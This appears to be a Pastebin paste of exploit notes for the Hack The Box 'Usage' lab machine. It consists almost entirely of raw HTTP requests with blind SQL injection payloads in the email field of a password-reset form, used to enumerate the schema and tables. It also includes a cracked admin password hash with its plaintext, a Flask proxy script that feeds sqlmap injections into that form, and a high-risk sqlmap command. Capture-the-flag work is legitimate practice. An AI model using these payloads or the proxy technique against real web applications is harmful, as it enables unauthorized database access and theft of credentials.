Advertisement
Mr_hEx

HTB Usage

Apr 16th, 2024 (edited)
37
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.33 KB | None | 0 0
  1. // Telegram : @HTB0X
  2. # to find DB name
  3. POST /forget-password HTTP/1.1
  4. Host: usage.htb
  5. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  7. Accept-Language: ar,en-US;q=0.7,en;q=0.3
  8. Accept-Encoding: gzip, deflate, br
  9. Content-Type: application/x-www-form-urlencoded
  10. Content-Length: 168
  11. Origin: http://usage.htb
  12. Connection: close
  13. Referer: http://usage.htb/forget-password
  14. Cookie: XSRF-TOKEN=eyJpdiI6InllL01GejVmVnJCUUxXOG90NmRUMEE9PSIsInZhbHVlIjoiRkRhSWFKMEh1aXlqYlpVMURONEpET3NTQzBTajYxRkRtUjJWMGRiNFIwUVI4MEk2ek9KN1Mvd3Z6QSs0MkVzTTRXeHdJRUlUL2cxSEI1d042Y3FSUjBpVmZSSytMOVpKOHVFRWZ1TnJITVVqdkZFcHdFd0F6YStObS82VGo1WmQiLCJtYWMiOiIzMjhmOTA1MGI5NzU5YTUzNjIzZjk4ZWMzMjk5YjIxZTdkNjFlZmEyNjc0YTljMWY2ODI4OWE1NjU5ODY2OTMwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImhvZmNRY0dSMWZzYlZST0JCaUlzRWc9PSIsInZhbHVlIjoicHM4Z05tbVA1ME9adUFCVXN3My9GNU9YaWU3UFY2VWVDY1c4eE1VK0Q2SWd1N0g0Vk1vV0ZmVHhWNGZXcnEza0drK09pNU5TWUVlYnVDVWlsMFBHaEp5a3VGK1hBK2pXRFZTMjJBWVNoSWczYitldGIwMlI2cHdtbitvNzF0TkkiLCJtYWMiOiIxOTgzMTY5NjViZGEzZjdjZDhkOTRiNDkxOWI5Yjk1NjI0NDhjZDE3ZjMxMWMyY2ViMmEwMzllMmY4NWRiOGVlIiwidGFnIjoiIn0%3D
  15. Upgrade-Insecure-Requests: 1
  16.  
  17. _token=DSnOYQDQvZDLqbS28CtRwykhSZSw2Ufw4H7F3BIt&email=ali%40ali.com'+and+(select+substring((SELECT+schema_name+FROM+information_schema.schemata+limit+2,1),1,1)='u')--+-
  18. --------------------------------------------
  19. # to find tables name
  20. POST /forget-password HTTP/1.1
  21. Host: usage.htb
  22. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
  23. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  24. Accept-Language: ar,en-US;q=0.7,en;q=0.3
  25. Accept-Encoding: gzip, deflate, br
  26. Content-Type: application/x-www-form-urlencoded
  27. Content-Length: 206
  28. Origin: http://usage.htb
  29. Connection: close
  30. Referer: http://usage.htb/forget-password
  31. Cookie: XSRF-TOKEN=eyJpdiI6InllL01GejVmVnJCUUxXOG90NmRUMEE9PSIsInZhbHVlIjoiRkRhSWFKMEh1aXlqYlpVMURONEpET3NTQzBTajYxRkRtUjJWMGRiNFIwUVI4MEk2ek9KN1Mvd3Z6QSs0MkVzTTRXeHdJRUlUL2cxSEI1d042Y3FSUjBpVmZSSytMOVpKOHVFRWZ1TnJITVVqdkZFcHdFd0F6YStObS82VGo1WmQiLCJtYWMiOiIzMjhmOTA1MGI5NzU5YTUzNjIzZjk4ZWMzMjk5YjIxZTdkNjFlZmEyNjc0YTljMWY2ODI4OWE1NjU5ODY2OTMwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImhvZmNRY0dSMWZzYlZST0JCaUlzRWc9PSIsInZhbHVlIjoicHM4Z05tbVA1ME9adUFCVXN3My9GNU9YaWU3UFY2VWVDY1c4eE1VK0Q2SWd1N0g0Vk1vV0ZmVHhWNGZXcnEza0drK09pNU5TWUVlYnVDVWlsMFBHaEp5a3VGK1hBK2pXRFZTMjJBWVNoSWczYitldGIwMlI2cHdtbitvNzF0TkkiLCJtYWMiOiIxOTgzMTY5NjViZGEzZjdjZDhkOTRiNDkxOWI5Yjk1NjI0NDhjZDE3ZjMxMWMyY2ViMmEwMzllMmY4NWRiOGVlIiwidGFnIjoiIn0%3D
  32. Upgrade-Insecure-Requests: 1
  33.  
  34. _token=DSnOYQDQvZDLqbS28CtRwykhSZSw2Ufw4H7F3BIt&email=ali%40ali.com'+and+(select+(select+substring((select+table_name+from+information_schema.tables+where+table_schema='usage_blog'+limit+3,1),1,1))='a')--+-
  35. ------------------------------
  36. admin user and pass
  37. admin:$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 password => whatever1
  38. -----
  39. # to make sqlmap inject
  40. # use this python code to wirk as proxy to follow redirect
  41. from flask import Flask, request, jsonify
  42. import requests
  43.  
  44. app = Flask(__name__)
  45.  
  46. @app.route('/proxy', methods=['GET'])
  47. def proxy():
  48. # Extract the 'inject' parameter from the GET request
  49. user_input = request.args.get('inject', '')
  50.  
  51. # Define the URL to which the POST request will be sent
  52. url = 'http://usage.htb/forget-password'
  53.  
  54. # Define the headers for the POST request
  55. headers = {
  56. 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0',
  57. 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
  58. 'Accept-Language': 'ar,en-US;q=0.7,en;q=0.3',
  59. 'Accept-Encoding': 'gzip, deflate, br',
  60. 'Content-Type': 'application/x-www-form-urlencoded',
  61. 'Origin': 'http://usage.htb',
  62. 'Connection': 'close',
  63. 'Referer': 'http://usage.htb/forget-password',
  64. 'Cookie': 'XSRF-TOKEN=eyJpdiI6InllL01GejVmVnJCUUxXOG90NmRUMEE9PSIsInZhbHVlIjoiRkRhSWFKMEh1aXlqYlpVMURONEpET3NTQzBTajYxRkRtUjJWMGRiNFIwUVI4MEk2ek9KN1Mvd3Z6QSs0MkVzTTRXeHdJRUlUL2cxSEI1d042Y3FSUjBpVmZSSytMOVpKOHVFRWZ1TnJITVVqdkZFcHdFd0F6YStObS82VGo1WmQiLCJtYWMiOiIzMjhmOTA1MGI5NzU5YTUzNjIzZjk4ZWMzMjk5YjIxZTdkNjFlZmEyNjc0YTljMWY2ODI4OWE1NjU5ODY2OTMwIiwidGdgIjoiIn0=; laravel_session=eyJpdiI6ImhvZmNRY0dSMWZzYlZST0JCaUlzRWc9PSIsInZhbHVlIjoicHM4Z05tbVA1ME9adUFCVXN3My9GNU9YaWU3UFY2VWVDY1c4eE1VK0Q2SWd1N0g0Vk1vV0ZmVHhWNGZXcnEza0drK09pNU5TWUVlYnVDVWlsMFBHaEp5a3VGK1hBK2pXRFZTMjJBWVNoSWczYitldGIwMlI2cHdtbitvNzF0TkkiLCJtYWMiOiIxOTgzMTY5NjViZGEzZjdjZDhkOTRiNDkxOWI5Yjk1NjI0NDhjZDE3ZjMxMWMyY2ViMmEwMzllMmY4NWRiOGVlIiwidGdgIjoiIn0='
  65. }
  66.  
  67. # Define the data to be sent in the POST request
  68. data = {
  69. '_token': 'DSnOYQDQvZDLqbS28CtRwykhSZSw2Ufw4H7F3BIt',
  70. 'email': user_input # Injecting user-provided input into the email field
  71. }
  72.  
  73. # Send the POST request
  74. response = requests.post(url, headers=headers, data=data)
  75.  
  76. # Return the content of the response from the target server
  77. return response.text
  78.  
  79. if __name__ == '__main__':
  80. app.run(debug=True)
  81.  
  82.  
  83. # sqlmap -u "http://127.0.0.1:5000/proxy?inject=ali@ali.com" --technique=B --threads 10 --batch --level 5 --risk 3 --dbs
  84.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement